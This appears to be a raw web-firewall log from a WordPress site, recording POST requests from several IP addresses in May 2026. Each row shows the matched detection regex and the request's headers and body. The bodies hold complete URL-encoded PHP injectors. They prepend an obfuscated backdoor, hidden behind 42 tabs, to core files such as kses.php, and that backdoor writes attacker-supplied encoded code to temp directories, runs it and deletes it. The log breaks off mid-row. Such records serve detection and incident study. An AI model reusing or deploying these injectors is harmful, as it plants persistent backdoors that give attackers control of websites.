HTTP\/1.1\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3736\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEKLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-mode:navigate\n\nEv=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-unsupported-exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522v%255Cx61l%255Cx75e%2522%252C%2520%2524_POST%2529%2529%257B%2520%2524holder%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522v%255Cx61l%255Cx75e%2522%255D%2529%253B%2520%2524reference%2520%253D%2520%2527%2527%253B%2520for%2528%2524s%253D0%253B%2520%2524s%253Cstrlen%2528%2524data%2529%253B%2520%2524s%252B%252B%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524s%255D%2529%2520%255E%252061%2529%253B%257D%2520foreach%2520%2528%2524holder%2520as%2520%2524key%2520%253D%253E%2520%2524rec%2529%2520%257B%2520if%2520%2528%2528is_dir%2528%2524rec%2529%2520and%2520is_writable%2528%2524rec%2529%2529%2529%2520%257B%2520%2524binding%2520%253D%2520sprintf%2528%2522%2525s\/.key%2522%252C%2520%2524rec%2529%253B%2520if%2520%2528file_put_contents%2528%2524binding%252C%2520%2524reference%2529%2529%2520%257B%2520require%2520%2524binding%253B%2520unlink%2528%2524binding%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:44:51","190.0.230.22","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-unsupported-exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522v%255Cx61l%255Cx75e%2522%252C%2520%2524_POST%2529%2529%257B%2520%2524holder%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522v%255Cx61l%255Cx75e%2522%255D%2529%253B%2520%2524reference%2520%253D%2520%2527%2527%253B%2520for%2528%2524s%253D0%253B%2520%2524s%253Cstrlen%2528%2524data%2529%253B%2520%2524s%252B%252B%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524s%255D%2529%2520%255E%252061%2529%253B%257D%2520foreach%2520%2528%2524holder%2520as%2520%2524key%2520%253D%253E%2520%2524rec%2529%2520%257B%2520if%2520%2528%2528is_dir%2528%2524rec%2529%2520and%2520is_writable%2528%2524rec%2529%2529%2529%2520%257B%2520%2524binding%2520%253D%2520sprintf%2528%2522%2525s\/.key%2522%252C%2520%2524rec%2529%253B%2520if%2520%2528file_put_contents%2528%2524binding%252C%2520%2524reference%2529%2529%2520%257B%2520require%2520%2524binding%253B%2520unlink%2528%2524binding%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3759\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/html-api\/class-wp-html-unsupported-exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522v%255Cx61l%255Cx75e%2522%252C%2520%2524_POST%2529%2529%257B%2520%2524holder%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/tmp%2522%255D%2529%253B%2520%2524data%2520%253D%2520hex2bin%2528%2524_POST%255B%2522v%255Cx61l%255Cx75e%2522%255D%2529%253B%2520%2524reference%2520%253D%2520%2527%2527%253B%2520for%2528%2524s%253D0%253B%2520%2524s%253Cstrlen%2528%2524data%2529%253B%2520%2524s%252B%252B%2529%257B%2524reference%2520.%253D%2520chr%2528ord%2528%2524data%255B%2524s%255D%2529%2520%255E%252061%2529%253B%257D%2520foreach%2520%2528%2524holder%2520as%2520%2524key%2520%253D%253E%2520%2524rec%2529%2520%257B%2520if%2520%2528%2528is_dir%2528%2524rec%2529%2520and%2520is_writable%2528%2524rec%2529%2529%2529%2520%257B%2520%2524binding%2520%253D%2520sprintf%2528%2522%2525s\/.key%2522%252C%2520%2524rec%2529%253B%2520if%2520%2528file_put_contents%2528%2524binding%252C%2520%2524reference%2529%2529%2520%257B%2520require%2520%2524binding%253B%2520unlink%2528%2524binding%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 21:45:04","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ct:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_REQUEST%255B%2522%255Cx66acto%255Cx72%2522%255D%2529%2529%257B%2520%2524component%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66acto%255Cx72%2522%255D%253B%2520%2524component%2520%253D%2520explode%2528%2520%2527.%2527%2520%252C%2520%2524component%2529%2520%253B%2520%2524marker%2520%253D%2527%2527%253B%2520%2524salt7%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253Dstrlen%2528%2524salt7%2520%2529%253B%2520%2524n%2520%253D0%253B%2520array_walk%2528%2524component%2520%252C%2520function%2520%2528%2524v4%2529%2520use%2520%2528%2526%2524marker%2520%252C%2520%2526%2524n%2520%252C%2520%2524salt7%2520%252C%2520%2524lenS%2529%2520%257B%2520%2524chS%2520%253Dord%2528%2524salt7%255B%2524n%2525%2524lenS%255D%2520%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2520%2528%2524n%252510%2529%2529%2520%255E%252021%253B%2520%2524marker%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%2524n%252B%252B%253B%257D%2520%2529%253B%2520%2524ref%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524hld%2520%253D%25200%253B%2520do%2520%257B%2520%2524resource%2520%253D%2520%2524ref%255B%2524hld%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524hld%2520%253E%253D%2520count%2528%2524ref%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524resource%2529%2520%2526%2526%2520is_writable%2528%2524resource%2529%2529%2520%257B%2520%2524item%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524resource%252C%2520%2522.ent%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524item%252C%2520%2524marker%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524item%253B%2520%2540unlink%2528%2524item%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524hld%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4806\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD3DvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-mode:navigate\n\nCt=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_REQUEST%255B%2522%255Cx66acto%255Cx72%2522%255D%2529%2529%257B%2520%2524component%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66acto%255Cx72%2522%255D%253B%2520%2524component%2520%253D%2520explode%2528%2520%2527.%2527%2520%252C%2520%2524component%2529%2520%253B%2520%2524marker%2520%253D%2527%2527%253B%2520%2524salt7%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253Dstrlen%2528%2524salt7%2520%2529%253B%2520%2524n%2520%253D0%253B%2520array_walk%2528%2524component%2520%252C%2520function%2520%2528%2524v4%2529%2520use%2520%2528%2526%2524marker%2520%252C%2520%2526%2524n%2520%252C%2520%2524salt7%2520%252C%2520%2524lenS%2529%2520%257B%2520%2524chS%2520%253Dord%2528%2524salt7%255B%2524n%2525%2524lenS%255D%2520%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2520%2528%2524n%252510%2529%2529%2520%255E%252021%253B%2520%2524marker%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%2524n%252B%252B%253B%257D%2520%2529%253B%2520%2524ref%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524hld%2520%253D%25200%253B%2520do%2520%257B%2520%2524resource%2520%253D%2520%2524ref%255B%2524hld%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524hld%2520%253E%253D%2520count%2528%2524ref%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524resource%2529%2520%2526%2526%2520is_writable%2528%2524resource%2529%2529%2520%257B%2520%2524item%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524resource%252C%2520%2522.ent%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524item%252C%2520%2524marker%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524item%253B%2520%2540unlink%2528%2524item%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524hld%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:45:08","141.98.11.117","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> mI:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_REQUEST%255B%2522%255Cx66acto%255Cx72%2522%255D%2529%2529%257B%2520%2524component%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66acto%255Cx72%2522%255D%253B%2520%2524component%2520%253D%2520explode%2528%2520%2527.%2527%2520%252C%2520%2524component%2529%2520%253B%2520%2524marker%2520%253D%2527%2527%253B%2520%2524salt7%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253Dstrlen%2528%2524salt7%2520%2529%253B%2520%2524n%2520%253D0%253B%2520array_walk%2528%2524component%2520%252C%2520function%2520%2528%2524v4%2529%2520use%2520%2528%2526%2524marker%2520%252C%2520%2526%2524n%2520%252C%2520%2524salt7%2520%252C%2520%2524lenS%2529%2520%257B%2520%2524chS%2520%253Dord%2528%2524salt7%255B%2524n%2525%2524lenS%255D%2520%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2520%2528%2524n%252510%2529%2529%2520%255E%252021%253B%2520%2524marker%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%2524n%252B%252B%253B%257D%2520%2529%253B%2520%2524ref%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524hld%2520%253D%25200%253B%2520do%2520%257B%2520%2524resource%2520%253D%2520%2524ref%255B%2524hld%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524hld%2520%253E%253D%2520count%2528%2524ref%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524resource%2529%2520%2526%2526%2520is_writable%2528%2524resource%2529%2529%2520%257B%2520%2524item%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524resource%252C%2520%2522.ent%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524item%252C%2520%2524marker%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524item%253B%2520%2540unlink%2528%2524item%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524hld%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4806\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoHxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 